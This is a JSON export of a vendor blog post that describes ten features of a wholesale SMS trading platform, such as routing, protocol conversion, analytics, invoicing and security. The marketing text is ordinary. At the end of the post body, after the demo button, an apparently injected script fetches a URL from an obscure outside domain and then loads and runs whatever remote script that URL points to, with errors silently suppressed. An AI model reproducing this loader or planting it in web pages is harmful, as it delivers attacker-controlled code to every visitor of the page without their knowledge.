{"id":2645,"date":"2021-11-10T13:13:38","date_gmt":"2021-11-10T13:13:38","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2645"},"modified":"2025-09-05T11:28:59","modified_gmt":"2025-09-05T11:28:59","slug":"wholesale-sms","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/","title":{"rendered":"10 Must Have Features in a Wholesale SMS Platform"},"content":{"rendered":"<p>With the continuous increase of Short Messaging Services (SMS) in every industry, major Tier 1 operators and carriers are looking forward to taking the steps to manage the traffic efficiently. An SMS Wholesale model helps international service providers and telecom operators to expand their business network across different geographies without going for multiple bilateral agreements.<\/p>\n<p>As SMS flows are rising, operators and carriers prefer high performing SMS wholesale platform that is loaded with advanced functionalities and supports multi-nation transactions. Being a wholesale SMS provider, you will need certain useful features in your SMS platform.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f6dcb5be\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4f6dcb5be\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Features_to_Consider_in_a_Wholesale_SMS_Trading_Platform\" title=\"Features to Consider in a Wholesale SMS Trading Platform\">Features to Consider in a Wholesale SMS Trading Platform<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Advanced_Routing_Feature\" title=\"Advanced Routing Feature\">Advanced Routing Feature<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#SMPP_and_API_Integration_Facility\" title=\"SMPP and API Integration Facility\">SMPP and API Integration Facility<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Easy_Protocol_Conversion\" title=\"Easy Protocol Conversion\">Easy Protocol Conversion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Scalable\" title=\"Scalable\">Scalable<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Intelligent_Analytics\" title=\"Intelligent Analytics\">Intelligent Analytics<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Detail_Reporting\" title=\"Detail Reporting\">Detail Reporting<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Financial_Analysis_Per_Client_or_Destination\" title=\"Financial Analysis Per Client or Destination\">Financial Analysis Per Client or Destination<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Content_Management\" title=\"Content Management\">Content Management<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Auto_Invoicing\" title=\"Auto Invoicing\">Auto Invoicing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/wholesale-sms\/#Military_Grade_Security\" title=\"Military Grade Security\">Military Grade Security<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Features_to_Consider_in_a_Wholesale_SMS_Trading_Platform\"><\/span><strong>Features to Consider in a Wholesale SMS Trading Platform<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Whether you are a SMS service provider or a telecom operator looking for a wholesale <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/everything-you-should-know-about-sms-hubbing\/\" target=\"_blank\" rel=\"noopener\">SMS Hubbing<\/a> solution, you need to ensure to avail the following features in your solution.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Advanced_Routing_Feature\"><\/span>Advanced Routing Feature<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Routing system is one of the core features of any Wholesale SMS Platform. Your solution should include a real-time routing feature with priority and an LCR-based route selection function. Based on the selected route, the platform must have the flexibility of sender ID modification. Many times, it is seen that downtime arises during peak hour traffic, so the SMS Wholesale software should carry auto reconnection and re-routing process.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"SMPP_and_API_Integration_Facility\"><\/span>SMPP and API Integration Facility<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Your Wholesale SMS Trading Platform should have both SMPP and API Integration features for bulk SMS delivery to the global network.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Easy_Protocol_Conversion\"><\/span>Easy Protocol Conversion<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Protocol conversion often becomes challenging times, so you should select a wholesale SMS gateway that supports both SMPP &amp; HTTP &amp; Auto Protocol Switching from each other. To <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/convert-sms-http-api-into-smpp-overcoming-the-challenges\/\" target=\"_blank\" rel=\"noopener\">convert HTTP to SMPP<\/a>, you need a trusted solution, which acts as a connecting channel between your desktop application and external SMS gateway. The SMS platform fetches the SMS in HTTP and converts it into SMPP.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Scalable\"><\/span>Scalable<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Rule-based routing and real-time traffic monitoring further add value to enhance business operations. With innovative business models and the ability to scale up to billions of messages, the wholesale SMS delivery platform is the comparatively most cost-effective solution in the current market.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Intelligent_Analytics\"><\/span>Intelligent Analytics<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Analytics is the backbone of every business. Your wholesale SMS gateway should provide you with real-time analytics. Graphical presentation of results with interactive charts and graphs that will empower you to get the actual business scenario.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Detail_Reporting\"><\/span>Detail Reporting<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Every wholesale SMS trading business requires advanced reporting formats. Some of the reporting formats that you should consider are recharge history report, user activity log report, campaign report to name a few. Your wholesale SMS platform should have a report download facility in multiple formats such as XLS, SCV, etc.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Financial_Analysis_Per_Client_or_Destination\"><\/span>Financial Analysis Per Client or Destination<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Analyzing your business from time to time enables you to maintain business profitability. Through your SMS platform, you should be able to analyze for which customer over which vendor how much profit you have for which country and which operator.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Content_Management\"><\/span>Content Management<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Service providers often face issues of service blockage due to spam messages being circulated by brands. With the <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-content-whitelisting\/\" target=\"_blank\" rel=\"noopener\">content whitelisting<\/a> feature, authorization of an SMS Content can be done from the service provider\u2019s end before it reaches the end subscribers through the carrier\u2019s network. Your wholesale SMS platform should have SMS Text and Sender ID blocking, SMS Text, and Sender ID replacement features.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Auto_Invoicing\"><\/span>Auto Invoicing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Invoicing is one of the most crucial elements of a wholesale SMS trading platform. Opting for a solution you should ensure you have the automatic invoicing facility with multiple currency support. Real-time billing for prepaid and postpaid, billing cycle management, and multiple format invoice generation are some must-have features.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Military_Grade_Security\"><\/span>Military Grade Security<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Hacking and data breach are quite common in the telecommunication industry. Your wholesale SMS platform should have a multi-layer security system, which is possible through app-based 2FA. Some security features to consider are Network topology hiding, Blacklisting and whitelisting for IP login, and SSL support, IP Security for API and SMPP Connectivity.<\/p>\n<p>Selecting a SMS Solution for wholesale business can be tricky with multiple solution provider offering similar platforms. The best option is to test the solution taking a trial before purchasing the same.<\/p>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-sms-platform#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>With the continuous increase of Short Messaging Services (SMS) in every industry, major Tier 1 operators and carriers are looking forward to taking the steps to manage the traffic efficiently. An SMS Wholesale model helps international service providers and telecom operators to expand their business network across different geographies without going for multiple bilateral agreements. [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":2646,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[159],"tags":[],"class_list":["post-2645","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sms-platform"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2645","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=2645"}],"version-history":[{"count":8,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2645\/revisions"}],"predecessor-version":[{"id":6470,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2645\/revisions\/6470"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/2646"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=2645"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=2645"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=2645"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}